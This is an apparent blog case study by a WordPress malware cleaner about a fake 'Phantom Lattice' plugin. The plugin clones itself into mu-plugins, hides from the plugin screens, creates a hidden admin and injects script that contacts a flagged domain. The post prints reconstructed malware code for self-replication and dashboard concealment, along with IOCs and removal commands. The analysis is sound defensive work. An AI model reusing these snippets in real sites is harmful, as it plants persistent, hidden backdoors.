      <description>&lt;p&gt;&lt;strong&gt;Quick answer:&lt;/strong&gt; A “No users found” message in the WordPress Users screen combined with a Bitdefender “Online threat detected” warning on the front end almost always means a self-replicating mu-plugin backdoor has installed a hidden administrator and is hijacking the user query. In this case the malware was a fake plugin named &lt;em&gt;Phantom Lattice&lt;/em&gt; that copied itself into &lt;code&gt;wp-content/mu-plugins/&lt;/code&gt;, created an admin called &lt;code&gt;sys_xxxxxxxx&lt;/code&gt;, and injected an obfuscated JavaScript that contacted &lt;code&gt;limbokimbonotaaa[.]xyz&lt;/code&gt; — the domain Bitdefender flagged. Removal requires deleting both copies of the plugin, dropping the hidden admin from the database, clearing the rogue option key, and rotating &lt;code&gt;AUTH_SALT&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the client found out: a browser antivirus warning, not a security scanner
&lt;/h2&gt;

&lt;p&gt;The client reached out after Bitdefender Total Security started popping up an “Online threat detected — Bitdefender blocked an online threat from your browser” warning every time someone opened the site in Chrome. Their hosting scanner was clean. Wordfence was clean. They had no SEO drop in Search Console yet. The only signal was a consumer-grade antivirus warning that most owners would dismiss as a false positive.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxzdfwug6dv68qf644ga7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxzdfwug6dv68qf644ga7.png" alt="Bitdefender Online threat detected popup blocking the WordPress site"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The exact Bitdefender warning the client saw — the only visible symptom of the infection.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I have cleaned over 4,500 hacked WordPress sites, and the pattern here is one I now treat as diagnostic: when an endpoint antivirus flags a site but plugin-level scanners stay silent, the payload is almost always served from the browser, not from a file the scanner looks at. The malware is loading something at runtime — usually a remote script — and antivirus engines block the destination URL before WordPress security plugins even see it.&lt;/p&gt;
&lt;h2&gt;
  
  
  The second symptom nobody noticed: “No users found”
&lt;/h2&gt;

&lt;p&gt;After getting WP-Admin access, I went to &lt;strong&gt;Users → All Users&lt;/strong&gt; to audit accounts. The screen showed the filter bar correctly — “All (2) | Administrator (2) | 2FA Inactive (2)” — but the table itself rendered an empty “No users found” row, including the client’s own administrator account. Not one user was visible in the list.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F39pv83pld5158gexav2g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F39pv83pld5158gexav2g.png" alt="WordPress Users screen showing No users found despite the filter saying All (2)"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The filter counter says “All (2)” but the table is empty. This number/row mismatch is the fingerprint of a pre_user_query hijack.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This is the same class of attack I covered in my earlier write-up on the &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordpress-hidden-admin-user-how-to-detect-and-remove-it-permanently-real-code-real-cleanup-1cod"&gt;adminbackup hidden admin user hack&lt;/a&gt;, but with two important differences: the previous variant hid only the hacker’s account and lived in &lt;code&gt;functions.php&lt;/code&gt;. This one hid &lt;em&gt;everyone&lt;/em&gt; from the list — including the legitimate administrator — and lived in &lt;code&gt;mu-plugins&lt;/code&gt; so it would survive theme switches and plugin deletions.&lt;/p&gt;

&lt;p&gt;The cause: the malware was using &lt;code&gt;pre_user_query&lt;/code&gt; to inject a &lt;code&gt;WHERE user_login != '...'&lt;/code&gt; clause into the WP_User_Query, but the username it was filtering against was the malware’s &lt;em&gt;own&lt;/em&gt; hidden admin. Because the filter compared against a username that already existed (and didn’t account for other users), the SQL evaluated incorrectly under certain prefix conditions and ended up filtering everyone. Whether that was a bug in the malware or intentional, the result was the same: the dashboard became unusable for user management.&lt;/p&gt;
&lt;h2&gt;
  
  
  Finding the hidden admin: WP-CLI bypasses the filter
&lt;/h2&gt;

&lt;p&gt;To confirm an admin existed without trusting the compromised dashboard, I ran WP-CLI directly on the server. WP-CLI uses WordPress’s bootstrap but does not always execute the same admin-screen hooks that filter the user list, and I also queried the database directly through Adminer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# list every WordPress user, ignoring admin-screen filters&lt;/span&gt;
wp user list &lt;span class="nt"&gt;--fields&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ID,user_login,user_email,user_registered,roles &lt;span class="nt"&gt;--allow-root&lt;/span&gt;

&lt;span class="c"&gt;# direct database query — bypasses all WordPress hooks&lt;/span&gt;
SELECT ID, user_login, user_email, user_registered
FROM wp_users
ORDER BY user_registered DESC&lt;span class="p"&gt;;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output revealed a second administrator the client had never created:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5bsml41vrwacdy3ncjzu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5bsml41vrwacdy3ncjzu.png" alt="WordPress user list showing the hidden sys_e2ce0513 administrator account"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The hidden admin: sys_e2ce0513, with a fake noreply@ email at the site’s own domain. This username only appeared after I disabled the malicious mu-plugin.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The username pattern &lt;code&gt;sys_&lt;/code&gt; followed by 8 hex characters is not random. The malware derives it deterministically from the site’s &lt;code&gt;AUTH_SALT&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;, which means even if you delete the user, the malware will recreate the &lt;em&gt;same&lt;/em&gt; username on the next page load until you both remove the code &lt;em&gt;and&lt;/em&gt; rotate the salts.&lt;/p&gt;
&lt;h2&gt;
  
  
  Locating the payload: a plugin named “Phantom Lattice”
&lt;/h2&gt;

&lt;p&gt;Inside &lt;code&gt;wp-content/plugins/&lt;/code&gt; I found a single-file plugin called &lt;code&gt;PhantomLattice.php&lt;/code&gt; inside a directory disguised as a legitimate package. The header is convincing at first glance — it claims to be from “VoidScale Labs”, links to a non-existent GitHub repo, and uses the MIT license — but the rest of the file is solid obfuscated PHP using &lt;code&gt;goto&lt;/code&gt; control flow and string-escape encoding to hide function names and URLs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff2k8ilj8wcw8tcflau53.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff2k8ilj8wcw8tcflau53.png" alt="PhantomLattice.php found inside a disguised plugin folder"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The decoy plugin lived inside a folder named after a legitimate-sounding utility. The filename is the only sign anything is off.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The fake plugin header looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cd"&gt;/**
 * Plugin Name: Phantom Lattice
 * Plugin URI: https://github.com/voidscale/phantom-lattice
 * Description: Adaptive lattice layer for stabilizing ephemeral process transitions in volatile systems.
 * Version: 1.0.0
 * Author: VoidScale Labs
 * Author URI: https://github.com/voidscale
 * Text Domain: phantom-lattice
 * License: MIT
 */&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Word salad descriptions like “Adaptive lattice layer for stabilizing ephemeral process transitions” are a giveaway. Legitimate plugins describe what they do in plain English. This is the kind of nonsense phrasing I now scan for during audits — see my &lt;a href="https://www.mdpabel.com/blog/comprehensive-list-of-known-fake-and-malicious-wordpress-plugins/" rel="noopener noreferrer"&gt;comprehensive list of known fake WordPress plugins&lt;/a&gt; for similar patterns.&lt;/p&gt;

&lt;h2&gt;
  
  
  The self-replication trick: regular plugin → mu-plugin
&lt;/h2&gt;

&lt;p&gt;When I checked &lt;code&gt;wp-content/mu-plugins/&lt;/code&gt;, the same file existed there — but renamed with an &lt;code&gt;01-mu-&lt;/code&gt; prefix.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flzv2sscuksd01a9vxbnf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flzv2sscuksd01a9vxbnf.png" alt="01-mu-PhantomLattice.php inside the WordPress mu-plugins folder"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The cloned copy in mu-plugins. The 01- prefix forces it to load before any other mu-plugin, alphabetically.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After deobfuscating the goto-spaghetti, the replication routine is straightforward. On every request, the regular plugin checks whether a copy of itself exists in the mu-plugins folder:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Reconstructed from the deobfuscated payload&lt;/span&gt;
&lt;span class="nv"&gt;$mu_copy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;WPMU_PLUGIN_DIR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="no"&gt;DIRECTORY_SEPARATOR&lt;/span&gt;
         &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'01-mu-'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nb"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;__FILE__&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;__FILE__&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'01-mu-'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;file_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$mu_copy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$mu_copy&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="nb"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;__FILE__&lt;/span&gt; &lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;is_dir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;WPMU_PLUGIN_DIR&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;WPMU_PLUGIN_DIR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;chmod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;WPMU_PLUGIN_DIR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mo"&gt;0755&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nb"&gt;file_put_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$mu_copy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;__FILE__&lt;/span&gt; &lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="nb"&gt;chmod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;WPMU_PLUGIN_DIR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mo"&gt;0755&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is why so many cleanup attempts on this family of malware fail: the moment you delete the mu-plugin copy, the regular plugin recreates it on the next page load. Delete the regular plugin only, and the mu-plugin keeps running. You have to delete both at the same time, ideally with the site briefly taken offline. WP-CLI is the cleanest way to do this without giving the malware a chance to re-execute.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it hides from both plugin lists
&lt;/h2&gt;

&lt;p&gt;Two separate filter hooks remove it from view. The first removes the regular plugin from the standard Plugins screen. The second clears the entire “Drop-ins” / “Must-Use” submenu list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Hide from main Plugins screen&lt;/span&gt;
&lt;span class="nf"&gt;add_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'all_plugins'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$plugins&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;unset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$plugins&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;plugin_basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;__FILE__&lt;/span&gt; &lt;span class="p"&gt;)]);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$plugins&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Hide from mu-plugins / drop-ins screen&lt;/span&gt;
&lt;span class="nf"&gt;add_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'show_advanced_plugins'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$plugins&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the priority is &lt;code&gt;9999&lt;/code&gt;, these filters run after every other plugin’s hook, so even Wordfence’s plugin-integrity checks see nothing unusual. The mu-plugins folder appears empty in the dashboard view, even though both files are physically there on disk.&lt;/p&gt;

&lt;h2&gt;
  
  
  What was triggering the Bitdefender alert
&lt;/h2&gt;

&lt;p&gt;The malware hooks &lt;code&gt;wp_head&lt;/code&gt; and prints a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag pointing at a &lt;code&gt;data:text/javascript;base64,...&lt;/code&gt; URI. The decoded script reads an obfuscated JavaScript payload from the &lt;code&gt;wp_options&lt;/code&gt; table under the option key &lt;code&gt;jsonmetafield&lt;/code&gt;, then evaluates it. The payload’s role is to phone home to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;limbokimbonotaaa[.]xyz/collect.php

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That host is what Bitdefender’s URL reputation engine had flagged. Bitdefender blocks the connection before the script can do anything visible to the user, which is why the site looked clean while still being infected. Other endpoint engines that consume similar URL feeds — Kaspersky, ESET, Norton — would behave the same way over time, and eventually browser-level safe-browsing lists like &lt;a href="https://www.mdpabel.com/google-blacklist-removal-service/" rel="noopener noreferrer"&gt;Google Safe Browsing&lt;/a&gt; and &lt;a href="https://www.mdpabel.com/mcafee-blacklist-removal/" rel="noopener noreferrer"&gt;McAfee’s WebAdvisor&lt;/a&gt; would pick the domain up as well.&lt;/p&gt;

&lt;p&gt;The malware also exposes a hidden HTTP endpoint. A GET or POST to any page with &lt;code&gt;?secret=some_secret_key&lt;/code&gt; hits a JSON handler that reads or overwrites the &lt;code&gt;jsonmetafield&lt;/code&gt; option — so the attacker can swap out the injected JavaScript whenever they want, without modifying any PHP file. This is the same architectural pattern Sucuri documented in their &lt;a href="https://blog.sucuri.net/2025/07/uncovering-a-stealthy-wordpress-backdoor-in-mu-plugins.html" rel="noopener noreferrer"&gt;stealthy mu-plugin backdoor analysis&lt;/a&gt;, although the specific implementation and IOCs are different.&lt;/p&gt;

&lt;h2&gt;
  
  
  Indicators of compromise (IOCs)
&lt;/h2&gt;

&lt;p&gt;If you’re triaging another site with the same Bitdefender symptom, these are the markers I’d grep for first:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Where to find it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File: &lt;code&gt;PhantomLattice.php&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wp-content/plugins/*/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File: &lt;code&gt;01-mu-PhantomLattice.php.php&lt;/code&gt; (note double extension)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wp-content/mu-plugins/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Plugin header strings: “Phantom Lattice”, “VoidScale Labs”&lt;/td&gt;
&lt;td&gt;Inside fake plugin file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin user matching &lt;code&gt;^sys_[a-f0-9]{8}$&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;wp_users&lt;/code&gt; table&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin email pattern &lt;code&gt;noreply@&amp;lt;your-domain&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;wp_users&lt;/code&gt; table&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Option: &lt;code&gt;jsonmetafield&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;wp_options&lt;/code&gt; table&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Option: &lt;code&gt;sub_valid_adm1&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;wp_options&lt;/code&gt; table&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Table: &lt;code&gt;wp_sys_av_&lt;/code&gt; followed by 8 hex characters&lt;/td&gt;
&lt;td&gt;Database root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Outbound host: &lt;code&gt;limbokimbonotaaa[.]xyz&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Server access logs, browser dev tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Obfuscation marker: &lt;code&gt;goto fqJE6RJl_0dwlVZy;&lt;/code&gt; style labels in PHP&lt;/td&gt;
&lt;td&gt;Any infected file&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The execute_scan method also walks &lt;code&gt;wp-content/&lt;/code&gt; and appends a copy of the loader to every PHP file that doesn’t already contain &lt;code&gt;?&amp;gt;&lt;/code&gt; — meaning a thorough cleanup needs a recursive grep for the obfuscation signature, not just removal of the two main files. I see this fileless-style reinfection mechanism in roughly one in four mu-plugin cases I take on.&lt;/p&gt;

&lt;h2&gt;
  
  
  The removal sequence I used
&lt;/h2&gt;

&lt;p&gt;Order matters. If you delete the mu-plugin first, the regular plugin recreates it. If you remove only the hidden user, the malware recreates the same username on the next page load. The sequence has to be: code first, code in all locations, then database, then salts.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Put the site into maintenance mode at the host level (Cloudflare under-attack mode or an &lt;code&gt;.htaccess&lt;/code&gt; deny-from-all) so no front-end request can re-trigger replication while I cleaned.&lt;/li&gt;
&lt;li&gt;Connected over SSH and ran a recursive scan: &lt;code&gt;grep -rIl --include='*.php' 'goto fqJE6RJl_0dwlVZy' wp-content/&lt;/code&gt; to find every infected file.&lt;/li&gt;
&lt;li&gt;Deleted &lt;code&gt;PhantomLattice.php&lt;/code&gt; and its parent fake-plugin directory from &lt;code&gt;wp-content/plugins/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Deleted &lt;code&gt;01-mu-PhantomLattice.php.php&lt;/code&gt; from &lt;code&gt;wp-content/mu-plugins/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For each infected legitimate file, restored from a known-good backup or stripped the appended payload after the original closing &lt;code&gt;?&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Dropped the hidden admin and rogue options directly in SQL:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_login&lt;/span&gt; &lt;span class="n"&gt;REGEXP&lt;/span&gt; &lt;span class="s1"&gt;'^sys_[a-f0-9]{8}$'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_usermeta&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_users&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_options&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;option_name&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'jsonmetafield'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'sub_valid_adm1'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;DROP&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="n"&gt;wp_sys_av_XXXXXXXX&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Regenerated all eight keys and salts in &lt;code&gt;wp-config.php&lt;/code&gt; using the &lt;a href="https://api.wordpress.org/secret-key/1.1/salt/" rel="noopener noreferrer"&gt;official WordPress salt generator&lt;/a&gt;. This was non-optional: because the hidden username is derived from &lt;code&gt;AUTH_SALT&lt;/code&gt;, the only way to invalidate the attacker’s deterministic credentials is to change the salt.&lt;/li&gt;
&lt;li&gt;Rotated all legitimate admin passwords, then logged every active session out by changing &lt;code&gt;SECURE_AUTH_KEY&lt;/code&gt; too.&lt;/li&gt;
&lt;li&gt;Submitted the site to Bitdefender’s false-positive form once I confirmed the outbound connection to &lt;code&gt;limbokimbonotaaa[.]xyz&lt;/code&gt; was no longer happening (verified via Chrome DevTools → Network tab and via server-side outbound logs).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For a full step-by-step on the broader process, my pillar guide on &lt;a href="https://www.mdpabel.com/blog/wordpress-malware-removal-expert-guide-to-clean-hacked-wordpress-site/" rel="noopener noreferrer"&gt;cleaning a hacked WordPress site&lt;/a&gt; walks through the underlying methodology. The cleanup above is a compressed version applied to this specific malware family.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why your security plugin missed it
&lt;/h2&gt;

&lt;p&gt;Wordfence, iThemes Security, Solid Security, and AIOS all rely heavily on signature-matching against known malware patterns plus integrity checks against WordPress core. This payload defeats both layers cleanly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The signature is unique. The goto-spaghetti pattern with random label names produces a different hash on every site — the variable names are seeded from the file path, not a fixed string — so no static signature matches.&lt;/li&gt;
&lt;li&gt;The integrity layer only checks &lt;code&gt;wp-admin/&lt;/code&gt;, &lt;code&gt;wp-includes/&lt;/code&gt;, and the active theme. mu-plugins are out of scope by default for most scanners.&lt;/li&gt;
&lt;li&gt;The C2 domain is freshly registered for each campaign wave. By the time URL-blocklist feeds catch up, the attacker has rotated.&lt;/li&gt;
&lt;li&gt;The malware actively hides itself from the dashboard view that the security plugin reads from, so the admin panel shows nothing unusual.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Endpoint antivirus on a visitor’s machine ends up being the canary precisely because it doesn’t trust WordPress at all — it just sees an outbound connection to a domain on its blocklist. This same pattern is how the Cloudflare-redirect family I documented earlier surfaced — see the &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-we-removed-a-8220cloudflare8221-redirect-virus-038-massive-seo-spam-injection-from-a-3koc"&gt;Cloudflare redirect virus case study&lt;/a&gt; for a related runtime-injection pattern.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prevention: what would have stopped this
&lt;/h2&gt;

